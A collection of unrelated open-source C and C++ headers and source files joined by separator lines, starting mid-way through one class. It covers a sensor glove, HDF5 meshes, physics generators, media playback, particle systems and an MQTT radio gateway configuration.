void begin();
void loop();
bool buttonPressed(uint8_t button) const;
uint8_t buttonState() const;
bool gestureDetected(uint8_t gesture) const;
uint8_t gestureState() const;
bool pear() const { return _mode & MODE_PEAR; }
uint8_t protocol() const { return _mode & MODE_PROTOCOL_MASK; }
int32_t sensorValue(uint8_t index) const;
void setSensorOutRange(uint16_t min, uint16_t max);
uint8_t state() const;
bool wifi() const { return _mode & MODE_WIFI; }
private:
Smartglove(const Smartglove&);
Smartglove& operator=(const Smartglove&);
void detectMode();
void resetMotion();
void stateDown();
void stateUp();
Buttons _buttons;
uint8_t _buttonState;
// Display _display;
Distance _distance;
uint8_t _gestureState;
uint8_t _lastButtonState;
uint8_t _mode;
Motion _motion;
Sensor* _sensors;
uint8_t _state;
};
#endif
|
/**
* @file VsUnstructuredMesh.h
*
* @class VsUnstructuredMesh
* @brief Represents an unstructured mesh
*
* Created on: Apr 29, 2010
* Author: mdurant
*/
#ifndef VSUNSTRUCTUREDMESH_H_
#define VSUNSTRUCTUREDMESH_H_
#include "VsMesh.h"
#include <vtk_hdf5.h>
#include <string>
class VsH5Group;
class VsUnstructuredMesh: public VsMesh {
public:
virtual ~VsUnstructuredMesh();
unsigned int getNumPoints();
unsigned int getNumCells();
static VsUnstructuredMesh* buildUnstructuredMesh(VsH5Group* group);
virtual bool isUnstructuredMesh() { return true; }
virtual std::string getKind();
//Tweak for Nautilus
bool hasNodeCorrectionData();
std::string getNodeCorrectionDatasetName();
//end tweak
bool usesSplitPoints();
std::string getPointsDatasetName();
std::string getPointsDatasetName(int i);
hid_t getDataType();
VsH5Dataset* getPointsDataset();
VsH5Dataset* getPointsDataset(int i);
std::string getPolygonsDatasetName();
VsH5Dataset* getPolygonsDataset();
std::string getPolyhedraDatasetName();
VsH5Dataset* getPolyhedraDataset();
std::string getLinesDatasetName();
VsH5Dataset* getLinesDataset();
std::string getTrianglesDatasetName();
VsH5Dataset* getTrianglesDataset();
std::string getQuadrilateralsDatasetName();
VsH5Dataset* getQuadrilateralsDataset();
std::string getTetrahedralsDatasetName();
VsH5Dataset* getTetrahedralsDataset();
std::string getPyramidsDatasetName();
VsH5Dataset* getPyramidsDataset();
std::string getPrismsDatasetName();
VsH5Dataset* getPrismsDataset();
std::string getHexahedralsDatasetName();
VsH5Dataset* getHexahedralsDataset();
bool isPointMesh();
virtual void getMeshDataDims(std::vector<int>& dims);
private:
VsUnstructuredMesh(VsH5Group* group);
virtual bool initialize();
unsigned int numPoints;
unsigned int numCells;
bool splitPoints;
};
#endif /* VSUNSTRUCTUREDMESH_H_ */
|
/**
@file contract_O2O3.h
@brief prototype declarations for the first and second Baryon-meson ops
*/
#ifndef CONTRACT_O2O3_H
#define CONTRACT_O2O3_H
/**
@fn void contract_O2O3( struct spinmatrix *P , const struct spinor U , const struct spinor D , const struct spinor S , const struct spinor B , const struct gamma OP1 , const struct gamma OP2 , const struct gamma *GAMMAS )
@brief baryon-meson mixing contraction
*/
void
contract_O2O3( struct spinmatrix *P ,
double complex **F ,
const struct spinor U ,
const struct spinor D ,
const struct spinor S ,
const struct spinor B ,
const struct gamma OP1 ,
const struct gamma OP2 ,
const struct gamma *GAMMAS ,
const uint8_t **loc ) ;
#endif
|
/*
Free Download Manager Copyright (c) 2003-2016 FreeDownloadManager.ORG
*/
#ifndef JRITYPES_H
#define JRITYPES_H
#include "jri_md.h"
#include <stddef.h>
#include <stdlib.h>
#include <stdarg.h>
#ifdef __cplusplus
extern "C" {
#endif
struct JRIEnvInterface;
typedef void* JRIRef;
typedef void* JRIGlobalRef;
typedef jint JRIInterfaceID[4];
typedef jint JRIFieldID;
typedef jint JRIMethodID;
typedef JRIGlobalRef jglobal;
typedef JRIRef jref;
typedef union JRIValue {
jbool z;
jbyte b;
jchar c;
jshort s;
jint i;
jlong l;
jfloat f;
jdouble d;
jref r;
} JRIValue;
typedef JRIValue jvalue;
typedef enum JRIBoolean {
JRIFalse = 0,
JRITrue = 1
} JRIBoolean;
typedef enum JRIConstant {
JRIUninitialized = -1
} JRIConstant;
typedef JRIRef jbooleanArray;
typedef JRIRef jbyteArray;
typedef JRIRef jcharArray;
typedef JRIRef jshortArray;
typedef JRIRef jintArray;
typedef JRIRef jlongArray;
typedef JRIRef jfloatArray;
typedef JRIRef jdoubleArray;
typedef JRIRef jobjectArray;
typedef JRIRef jstringArray;
typedef JRIRef jarrayArray;
#define JRIConstructorMethodName "<init>"
#define JRISigArray(T) "[" T
#define JRISigByte "B"
#define JRISigChar "C"
#define JRISigClass(name) "L" name ";"
#define JRISigFloat "F"
#define JRISigDouble "D"
#define JRISigMethod(args) "(" args ")"
#define JRISigNoArgs ""
#define JRISigInt "I"
#define JRISigLong "J"
#define JRISigShort "S"
#define JRISigVoid "V"
#define JRISigBoolean "Z"
extern JRI_PUBLIC_API(const struct JRIEnvInterface**)
JRI_GetCurrentEnv(void);
#define JRI_NewByteArray(env, length, initialValues) \
JRI_NewScalarArray(env, length, JRISigByte, (jbyte*)(initialValues))
#define JRI_GetByteArrayLength(env, array) \
JRI_GetScalarArrayLength(env, array)
#define JRI_GetByteArrayElements(env, array) \
JRI_GetScalarArrayElements(env, array)
#define JRI_NewCharArray(env, length, initialValues) \
JRI_NewScalarArray(env, ((length) * sizeof(jchar)), JRISigChar, (jbyte*)(initialValues))
#define JRI_GetCharArrayLength(env, array) \
JRI_GetScalarArrayLength(env, array)
#define JRI_GetCharArrayElements(env, array) \
((jchar*)JRI_GetScalarArrayElements(env, array))
#define JRI_NewShortArray(env, length, initialValues) \
JRI_NewScalarArray(env, ((length) * sizeof(jshort)), JRISigShort, (jbyte*)(initialValues))
#define JRI_GetShortArrayLength(env, array) \
JRI_GetScalarArrayLength(env, array)
#define JRI_GetShortArrayElements(env, array) \
((jshort*)JRI_GetScalarArrayElements(env, array))
#define JRI_NewIntArray(env, length, initialValues) \
JRI_NewScalarArray(env, ((length) * sizeof(jint)), JRISigInt, (jbyte*)(initialValues))
#define JRI_GetIntArrayLength(env, array) \
JRI_GetScalarArrayLength(env, array)
#define JRI_GetIntArrayElements(env, array) \
((jint*)JRI_GetScalarArrayElements(env, array))
#define JRI_NewLongArray(env, length, initialValues) \
JRI_NewScalarArray(env, ((length) * sizeof(jlong)), JRISigLong, (jbyte*)(initialValues))
#define JRI_GetLongArrayLength(env, array) \
JRI_GetScalarArrayLength(env, array)
#define JRI_GetLongArrayElements(env, array) \
((jlong*)JRI_GetScalarArrayElements(env, array))
#define JRI_NewFloatArray(env, length, initialValues) \
JRI_NewScalarArray(env, ((length) * sizeof(jfloat)), JRISigFloat, (jbyte*)(initialValues))
#define JRI_GetFloatArrayLength(env, array) \
JRI_GetScalarArrayLength(env, array)
#define JRI_GetFloatArrayElements(env, array) \
((jfloat*)JRI_GetScalarArrayElements(env, array))
#define JRI_NewDoubleArray(env, length, initialValues) \
JRI_NewScalarArray(env, ((length) * sizeof(jdouble)), JRISigDouble, (jbyte*)(initialValues))
#define JRI_GetDoubleArrayLength(env, array) \
JRI_GetScalarArrayLength(env, array)
#define JRI_GetDoubleArrayElements(env, array) \
((jdouble*)JRI_GetScalarArrayElements(env, array))
#ifdef __cplusplus
}
#endif
#endif
|
/** Exceptions used by the table namespace
*
*
* @file
* @date 4/2/17
* @version 1.0
* @copyright GNU Public License.
*/
#pragma once
#include "interop/util/base_exception.h"
namespace illumina { namespace interop { namespace model
{
/** @defgroup table_exceptions Table Exceptions
*
* Exceptions that can be thrown if a problem occurs while using the run model
*
* @ingroup interop_exceptions
* @{
*/
/** Exception raised if the column type is invalid
*/
struct invalid_column_type : public util::base_exception
{
/** Constructor
*
* @param mesg error message
*/
invalid_column_type(const std::string &mesg) : util::base_exception(mesg)
{ }
};
/** @} */
}}}
|
#ifndef _APP_DELEGATE_H_
#define _APP_DELEGATE_H_
#include "cocos2d.h"
/**
@brief The cocos2d Application.
The reason for implement as private inheritance is to hide some interface call by Director.
*/
class AppDelegate : private cocos2d::Application
{
public:
AppDelegate();
virtual ~AppDelegate();
virtual bool applicationDidFinishLaunching();
virtual void applicationDidEnterBackground();
virtual void applicationWillEnterForeground();
cocos2d::Director *director;
};
#endif // _APP_DELEGATE_H_
|
#ifndef CONTENT_CATALOG_H
#define CONTENT_CATALOG_H
#include "controller/baseboard.h"
#include "../global.h"
#include <list>
#include <string>
namespace Content
{
struct OLOLORD_EXPORT Catalog : public BaseBoard
{
struct OLOLORD_EXPORT Thread
{
Post opPost;
unsigned int replyCount;
public:
Thread *self()
{
return this;
}
};
public:
typedef Thread * ThreadPointer;
public:
std::string replyCountLabelText;
std::string sortingMode;
std::string sortingModeBumpsLabelText;
std::string sortingModeDateLabelText;
std::string sortingModeLabelText;
std::string sortingModeRecentLabelText;
std::list<Thread> threads;
};
}
#endif // CONTENT_CATALOG_H
|
//========= Copyright © 1996-2002, Valve LLC, All rights reserved. ============
//
// Purpose:
//
// $NoKeywords: $
//=============================================================================
#ifndef C_ORDER_REPAIR_H
#define C_ORDER_REPAIR_H
#ifdef _WIN32
#pragma once
#endif
#include "c_order.h"
class C_OrderRepair : public C_Order
{
public:
DECLARE_CLASS( C_OrderRepair, C_Order );
DECLARE_CLIENTCLASS();
// C_Order overrides.
public:
virtual void GetDescription( char *pDest, int bufferSize );
};
#endif // C_ORDER_REPAIR_H
|
#ifndef sdomessage__h
#define sdomessage__h
class SdoMessage {
SdoMessage ( );
#endif
|
/* Casefold mapping for Unicode characters (locale and context independent).
Copyright (C) 2002, 2006, 2009-2013 Free Software Foundation, Inc.
Written by Bruno Haible <bruno@clisp.org>, 2009.
This program is free software: you can redistribute it and/or modify it
under the terms of the GNU General Public License as published
by the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#include <config.h>
/* Specification. */
#include "casefold.h"
/* Define u_mapping table. */
#include "tocasefold.h"
#define FUNC uc_tocasefold
#include "simple-mapping.h"
|
// -*- C++ -*-
//
// PhasespaceHelpers.h is a part of Herwig - A multi-purpose Monte Carlo event generator
// Copyright (C) 2002-2019 The Herwig Collaboration
//
// Herwig is licenced under version 3 of the GPL, see COPYING for details.
// Please respect the MCnet academic guidelines, see GUIDELINES for details.
//
#ifndef HERWIG_PhasespaceHelpers_H
#define HERWIG_PhasespaceHelpers_H
#include "ThePEG/Config/ThePEG.h"
#include "ThePEG/PDT/ParticleData.h"
#include "ThePEG/Persistency/PersistentOStream.h"
#include "ThePEG/Persistency/PersistentIStream.h"
#include "Herwig/MatrixElement/Matchbox/Phasespace/MatchboxPhasespace.h"
namespace Herwig {
using namespace ThePEG;
namespace PhasespaceHelpers {
/**
* \ingroup Matchbox
* \author Simon Platzer
* \brief General information for phase space generation
*/
struct PhasespaceInfo {
/**
* The center of mass energy squared.
*/
Energy2 sHat;
/**
* The center of mass energy.
*/
Energy sqrtSHat;
/**
* The phase space weight.
*/
double weight;
/**
* The random number generator.
*/
StreamingRnd rnd;
/**
* Parameter steering from which on propagator virtualities are
* sampled flat.
*/
double x0;
/**
* Parameter steering at which virtuality singularities of
* propagators are actually cut off.
*/
double xc;
/**
* Parameter steering from which on propagator virtualities are
* sampled flat.
*/
Energy M0;
/**
* Parameter steering at which virtuality singularities of
* propagators are actually cut off.
*/
Energy Mc;
/**
* Generate a mass for the given particle type and mass range.
*/
Energy generateMass(tcPDPtr, const pair<Energy,Energy>&);
/**
* Calculate a transverse momentum for the given momenta,
* invariant pt and azimuth.
*/
Lorentz5Momentum generateKt(const Lorentz5Momentum& p1,
const Lorentz5Momentum& p2,
Energy pt);
};
/**
* \ingroup Matchbox
* \author Simon Platzer, Ken Arnold
* \brief A phase space tree.
*/
struct PhasespaceTree {
/**
* Default constructor
*/
PhasespaceTree()
: massRange(ZERO,ZERO), externalId(-1),
spacelike(false) {}
/**
* The particle running along this line.
*/
tcPDPtr data;
/**
* The allowed mass range for this line.
*/
pair<Energy,Energy> massRange;
/**
* The momentum running along this line.
*/
Lorentz5Momentum momentum;
/**
* A backward momentum, if needed
*/
Lorentz5Momentum backwardMomentum;
/**
* The external leg id of this line, if external.
*/
int externalId;
/**
* The children lines; if empty this is an external line.
*/
vector<PhasespaceTree> children;
/**
* External lines originating from this line.
*/
set<int> leafs;
/**
* Wether or not this is a spacelike line.
*/
bool spacelike;
/**
* Wether or not this is a mirrored channel.
*/
bool doMirror;
/**
* Setup from diagram at given position.
*/
void setup(const Tree2toNDiagram&, int pos = 0);
/**
* Setup mirror from diagram at given position.
*/
void setupMirrored(const Tree2toNDiagram& diag, int pos);
/**
* Initialize using masses as given by mass() members of the
* final state momenta
*/
void init(const vector<Lorentz5Momentum>&);
/**
* Generate kinematics for the children
*/
void generateKinematics(PhasespaceInfo&,
vector<Lorentz5Momentum>&);
/**
* Write phase space tree to ostream
*/
void put(PersistentOStream&) const;
/**
* Read phase space tree from istream
*/
void get(PersistentIStream&);
/**
* Print tree, only for debugging purposes
*/
void print(int in = 0);
};
}
}
#endif // HERWIG_PhasespaceHelpers_H
|
#pragma once
// hijack.h
// 1/27/2013 jichi
#include "windbg/windbg.h"
#include <windows.h>
WINDBG_BEGIN_NAMESPACE
/**
* Replace the named function entry with the new one.
* @param stealFrom instance of target module
* @param oldFunctionModule TODO
* @param functionName name of the target function
* @return the orignal address if succeed, else nullptr
*
* See: http://www.codeproject.com/KB/DLL/DLL_Injection_tutorial.aspx
*/
PVOID overrideFunctionA(_In_ HMODULE stealFrom, _In_ LPCSTR oldFunctionModule,
_In_ LPCSTR functionName, _In_ LPCVOID newFunction);
WINDBG_END_NAMESPACE
// EOF
|
/*
* A Command & Conquer: Renegade SSGM Plugin, containing all the single player mission scripts
* Copyright(C) 2017 Neijwiert
*
* This program is free software : you can redistribute it and / or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program.If not, see <http://www.gnu.org/licenses/>.
*/
#pragma once
#include <scripts.h>
/*
M01 -> 120022
*/
class M01_GDIBase_RealLightTank_JDG : public ScriptImpClass
{
private:
virtual void Killed(GameObject *obj, GameObject *killer);
virtual void Custom(GameObject *obj, int type, int param, GameObject *sender);
virtual void Action_Complete(GameObject *obj, int action_id, ActionCompleteReason complete_reason);
}; |
/*
* Evolutionary K-means clustering (E-means) using Genetic Algorithms.
*
* Copyright (C) 2015, Jonathan Gillett
* All rights reserved.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef UTILITY_H_
#define UTILITY_H_
// Define terminal colors
#define RED "\x1b[31m"
#define GREEN "\x1b[32m"
#define YELLOW "\x1b[33m"
#define BLUE "\x1b[34m"
#define MAGENTA "\x1b[35m"
#define CYAN "\x1b[36m"
#define RESET "\x1b[0m"
// Declare the globals and CLI flags DEBUG, VERBOSE
extern int DEBUG, VERBOSE;
/**
* @enum debug_code
* @brief Enumeration of the DEBUG codes
*/
typedef enum
{
DEBUG_CONFIG = 1, /**< Print all the values parsed from the config file */
DEBUG_DATA = 2, /**< Print the contents of the data file */
DEBUG_CLUSTER = 3, /**< Debug the clutering process using lloyd's */
DEBUG_BOUNDS = 4, /**< Debug the min/max bounds for each dimension */
DEBUG_CENTROIDS = 5, /**< Debug the randomly generated initial centroids */
DEBUG_DUNN = 6, /**< Debug the Dunn Index calculations */
DEBUG_CROSSOVER = 7, /**< Debug the crossover operator */
DEBUG_MUTATE = 8, /**< Debug the mutation operator */
DEBUG_PROBABILITY = 9 /**< Debug output for the probability generation */
} debug_code;
/**
* @enum error_code
* @brief Error codes
*/
typedef enum
{
SUCCESS = 0, /**< Successful execution */
ERROR = 1 /**< Generic error code */
} error_code;
#endif /* UTILITY_H_ */
|
/* ide-debugger-thread.c
*
* Copyright 2017-2019 Christian Hergert <chergert@redhat.com>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* SPDX-License-Identifier: GPL-3.0-or-later
*/
#define G_LOG_DOMAIN "ide-debugger-thread"
#include "config.h"
#include "ide-debugger-thread.h"
typedef struct
{
gchar *id;
gchar *group;
} IdeDebuggerThreadPrivate;
enum {
PROP_0,
PROP_ID,
PROP_GROUP,
N_PROPS
};
G_DEFINE_TYPE_WITH_PRIVATE (IdeDebuggerThread, ide_debugger_thread, G_TYPE_OBJECT)
static GParamSpec *properties [N_PROPS];
static void
ide_debugger_thread_finalize (GObject *object)
{
IdeDebuggerThread *self = (IdeDebuggerThread *)object;
IdeDebuggerThreadPrivate *priv = ide_debugger_thread_get_instance_private (self);
g_clear_pointer (&priv->id, g_free);
g_clear_pointer (&priv->group, g_free);
G_OBJECT_CLASS (ide_debugger_thread_parent_class)->finalize (object);
}
static void
ide_debugger_thread_get_property (GObject *object,
guint prop_id,
GValue *value,
GParamSpec *pspec)
{
IdeDebuggerThread *self = IDE_DEBUGGER_THREAD (object);
switch (prop_id)
{
case PROP_ID:
g_value_set_string (value, ide_debugger_thread_get_id (self));
break;
case PROP_GROUP:
g_value_set_string (value, ide_debugger_thread_get_group (self));
break;
default:
G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
}
}
static void
ide_debugger_thread_set_property (GObject *object,
guint prop_id,
const GValue *value,
GParamSpec *pspec)
{
IdeDebuggerThread *self = IDE_DEBUGGER_THREAD (object);
IdeDebuggerThreadPrivate *priv = ide_debugger_thread_get_instance_private (self);
switch (prop_id)
{
case PROP_ID:
priv->id = g_value_dup_string (value);
break;
case PROP_GROUP:
ide_debugger_thread_set_group (self, g_value_get_string (value));
break;
default:
G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
}
}
static void
ide_debugger_thread_class_init (IdeDebuggerThreadClass *klass)
{
GObjectClass *object_class = G_OBJECT_CLASS (klass);
object_class->finalize = ide_debugger_thread_finalize;
object_class->get_property = ide_debugger_thread_get_property;
object_class->set_property = ide_debugger_thread_set_property;
properties [PROP_ID] =
g_param_spec_string ("id",
"Id",
"The thread identifier",
NULL,
(G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY | G_PARAM_STATIC_STRINGS));
properties [PROP_GROUP] =
g_param_spec_string ("group",
"Group",
"The thread group, if any",
NULL,
(G_PARAM_READWRITE | G_PARAM_EXPLICIT_NOTIFY | G_PARAM_STATIC_STRINGS));
g_object_class_install_properties (object_class, N_PROPS, properties);
}
static void
ide_debugger_thread_init (IdeDebuggerThread *self)
{
}
IdeDebuggerThread *
ide_debugger_thread_new (const gchar *id)
{
return g_object_new (IDE_TYPE_DEBUGGER_THREAD,
"id", id,
NULL);
}
const gchar *
ide_debugger_thread_get_id (IdeDebuggerThread *self)
{
IdeDebuggerThreadPrivate *priv = ide_debugger_thread_get_instance_private (self);
g_return_val_if_fail (IDE_IS_DEBUGGER_THREAD (self), NULL);
return priv->id;
}
const gchar *
ide_debugger_thread_get_group (IdeDebuggerThread *self)
{
IdeDebuggerThreadPrivate *priv = ide_debugger_thread_get_instance_private (self);
g_return_val_if_fail (IDE_IS_DEBUGGER_THREAD (self), NULL);
return priv->group;
}
void
ide_debugger_thread_set_group (IdeDebuggerThread *self,
const gchar *group)
{
IdeDebuggerThreadPrivate *priv = ide_debugger_thread_get_instance_private (self);
g_return_if_fail (IDE_IS_DEBUGGER_THREAD (self));
if (g_strcmp0 (priv->group, group) != 0)
{
g_free (priv->group);
priv->group = g_strdup (group);
g_object_notify_by_pspec (G_OBJECT (self), properties [PROP_GROUP]);
}
}
gint
ide_debugger_thread_compare (IdeDebuggerThread *a,
IdeDebuggerThread *b)
{
IdeDebuggerThreadPrivate *priv_a = ide_debugger_thread_get_instance_private (a);
IdeDebuggerThreadPrivate *priv_b = ide_debugger_thread_get_instance_private (b);
g_return_val_if_fail (IDE_IS_DEBUGGER_THREAD (a), 0);
g_return_val_if_fail (IDE_IS_DEBUGGER_THREAD (b), 0);
if (priv_a->id && priv_b->id)
{
if (g_ascii_isdigit (*priv_a->id) && g_ascii_isdigit (*priv_b->id))
return g_ascii_strtoll (priv_a->id, NULL, 10) -
g_ascii_strtoll (priv_b->id, NULL, 10);
}
return g_strcmp0 (priv_a->id, priv_b->id);
}
|
#ifndef GLOBAL_H
#define GLOBAL_H
#include <vector>
#include "boost/shared_ptr.hpp"
namespace boost
{
namespace chrono
{
class steady_clock; // Forward declaration
}
}
namespace entropy
{
typedef char int8;
typedef unsigned char uint8;
typedef unsigned short uint16;
typedef short int16;
typedef unsigned int uint32;
typedef unsigned int uint;
typedef int int32;
typedef std::vector<int8> Int8Array_t;
typedef boost::shared_ptr<Int8Array_t> Int8ArrayPtr_t;
typedef boost::shared_ptr<std::vector<float> > FloatArrayPtr_t;
extern boost::chrono::steady_clock clock;
enum Direction{UP=1,DOWN=2,LEFT=4,RIGHT=8,BACK=16,FORWARD=32};
}
extern int MAPSIZE_X_NONSCALED;
extern int MAPSIZE_Y_NONSCALED;
extern int MAPSIZE_Z_NONSCALED;
extern int MAPSIZE_SCALE;
extern int MAPSIZE_X;
extern int MAPSIZE_Y;
extern int MAPSIZE_Z;
extern int GRAPHICS_SCALE;
#endif // GLOBAL_H
|
/*
* This file is part of MPlayer.
*
* MPlayer is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* MPlayer is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with MPlayer; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#ifndef MPLAYER_W32_COMMON_H
#define MPLAYER_W32_COMMON_H
#include <stdint.h>
#include <stdbool.h>
#include <windows.h>
struct vo_w32_state {
HWND window;
// last non-fullscreen extends (updated only on fullscreen or on initialization)
int prev_width;
int prev_height;
int prev_x;
int prev_y;
// whether the window position and size were intialized
bool window_bounds_initialized;
bool current_fs;
int window_x;
int window_y;
// video size
uint32_t o_dwidth;
uint32_t o_dheight;
int event_flags;
int mon_cnt;
int mon_id;
};
struct vo;
int vo_w32_init(struct vo *vo);
void vo_w32_uninit(struct vo *vo);
void vo_w32_ontop(struct vo *vo);
void vo_w32_border(struct vo *vo);
void vo_w32_fullscreen(struct vo *vo);
int vo_w32_check_events(struct vo *vo);
int vo_w32_config(struct vo *vo, uint32_t, uint32_t, uint32_t);
void w32_update_xinerama_info(struct vo *vo);
#endif /* MPLAYER_W32_COMMON_H */
|
#pragma once
class EasyWSCEnumProtocols
{
public:
EasyWSCEnumProtocols();
~EasyWSCEnumProtocols();
public:
// do not call this function more than once!
bool Invoke(LPINT lpiProtocols = NULL);
public:
LPWSAPROTOCOL_INFOW ProtocolList();
int ProtocolListLength();
private:
Buffer *protocolListBuffer;
int protocolListLength;
};
|
// Copyright 2019-2020 CERN and copyright holders of ALICE O2.
// See https://alice-o2.web.cern.ch/copyright for details of the copyright holders.
// All rights not expressly granted are reserved.
//
// This software is distributed under the terms of the GNU General Public
// License v3 (GPL Version 3), copied verbatim in the file "COPYING".
//
// In applying this license CERN does not waive the privileges and immunities
// granted to it by virtue of its status as an Intergovernmental Organization
// or submit itself to any jurisdiction.
/// \class CalibParams
/// \brief CCDB container for the full set of CPV calibration coefficients
/// \author Dmitri Peresunko, RRC Kurchatov institute
/// \since Aug. 1, 2019
///
///
#ifndef CPV_CALIBPARAMS_H
#define CPV_CALIBPARAMS_H
#include <array>
#include "TObject.h"
class TH2;
namespace o2
{
namespace cpv
{
class CalibParams
{
public:
/// \brief Constructor
CalibParams() = default;
/// \brief Constructor for tests
CalibParams(short test);
/// \brief Destructor
~CalibParams() = default;
/// \brief Get High Gain energy calibration coefficients
/// \param cellID Absolute ID of cell
/// \return high gain energy calibration coefficient of the cell
float getGain(unsigned short cellID) const { return mGainCalib[cellID]; }
/// \brief Set High Gain energy calibration coefficient
/// \param cellID Absolute ID of cell
/// \param c is the calibration coefficient
void setGain(unsigned short cellID, float c) { mGainCalib[cellID] = c; }
/// \brief Set High Gain energy calibration coefficients for one module in the form of 2D histogram
/// \param 2D(64,56) histogram with calibration coefficients
/// \param module number
/// \return Is successful
bool setGain(TH2* h, short module);
private:
static constexpr short NCHANNELS = 23040; ///< Number of channels starting from 0
std::array<float, NCHANNELS> mGainCalib; ///< Container for the gain calibration coefficients
ClassDefNV(CalibParams, 2);
};
} // namespace cpv
} // namespace o2
#endif
|
/**
* This file is part of Drystal.
*
* Drystal is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Drystal is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Drystal. If not, see <http://www.gnu.org/licenses/>.
*/
#pragma once
#include <stdlib.h> // random
typedef struct Color Color;
typedef struct Size Size;
typedef struct Alpha Alpha;
typedef struct System System;
#include "graphics/surface.h"
#include "particle.h"
#define RAND(a, b) (((float) rand()/RAND_MAX) * ((b) - (a)) + (a))
#define MAX_COLORS 16
struct Color {
float at;
unsigned char min_r, max_r;
unsigned char min_g, max_g;
unsigned char min_b, max_b;
};
#define MAX_SIZES 16
struct Size {
float at;
float min, max;
};
#define MAX_ALPHAS 16
struct Alpha {
float at;
float min, max;
};
struct System {
Particle* particles;
int cur_size;
Size sizes[MAX_SIZES];
int cur_color;
Color colors[MAX_COLORS];
int cur_alpha;
Alpha alphas[MAX_ALPHAS];
Surface* texture;
bool running;
size_t size;
size_t used;
float x, y;
float offx, offy;
float min_direction, max_direction;
float min_lifetime, max_lifetime;
float min_initial_acceleration, max_initial_acceleration;
float min_initial_velocity, max_initial_velocity;
float emission_rate;
float emit_counter;
int sprite_x;
int sprite_y;
int ref;
};
System *system_new(float x, float y, size_t size);
System *system_clone(System* s);
void system_free(System *s);
void system_start(System *s);
void system_stop(System *s);
void system_reset(System *s);
void system_draw(System *s, float dx, float dy);
void system_emit(System *s);
void system_update(System *s, float dt);
void system_add_size(System *s, float at, float min, float max);
void system_add_color(System *s, float at, unsigned char min_r, unsigned char max_r, unsigned char min_g, unsigned char max_g, unsigned char min_b, unsigned char max_b);
void system_add_alpha(System *s, float at, float min, float max);
void system_clear_sizes(System *s);
void system_clear_colors(System *s);
void system_clear_alphas(System *s);
void system_set_texture(System* s, Surface* tex, float x, float y);
|
/*
OpenMQTTGateway - ESP8266 or Arduino program for home automation
Act as a wifi or ethernet gateway between your 433mhz/infrared IR signal and a MQTT broker
Send and receiving command by MQTT
This files enables to set your parameter for the radiofrequency gateways (ZgatewayRF and ZgatewayRF2) with RCswitch and newremoteswitch library
Copyright: (c)Florian ROBERT
This file is part of OpenMQTTGateway.
OpenMQTTGateway is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
OpenMQTTGateway is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef config_RFM69_h
#define config_RFM69_h
extern void setupRFM69();
extern bool RFM69toMQTT();
extern void MQTTtoRFM69(char* topicOri, char* datacallback);
extern void MQTTtoRFM69(char* topicOri, JsonObject& RFdata);
/*----------------------RFM69 topics & parameters -------------------------*/
// Topic where the message from RFM69 will be published by the gateway,
// appended with the nodeID of the sender
#define subjectRFM69toMQTT "/RFM69toMQTT"
// Topic subscribed by the gateway. Messages received will be sent to RFM69
#define subjectMQTTtoRFM69 "/commands/MQTTtoRFM69"
#define RFM69receiverKey "RCV_" // receiver id will be defined if a subject contains RFM69receiverKey followed by a value of 3 digits
// On reception of an ack from RFM69, the message that has been sent is published here
#define subjectGTWRFM69toMQTT "/RFM69toMQTT/acked"
#define defaultRFM69ReceiverId 99
// Default values
const char PROGMEM ENCRYPTKEY[] = "sampleEncryptKey";
const char PROGMEM MDNS_NAME[] = "rfm69gw1";
const char PROGMEM MQTT_BROKER[] = "raspi2";
const char PROGMEM RFM69AP_NAME[] = "RFM69-AP";
#define NETWORKID 200 //the same on all nodes that talk to each other
#define NODEID 10
//Match frequency to the hardware version of the radio
#define FREQUENCY RF69_433MHZ
//#define FREQUENCY RF69_868MHZ
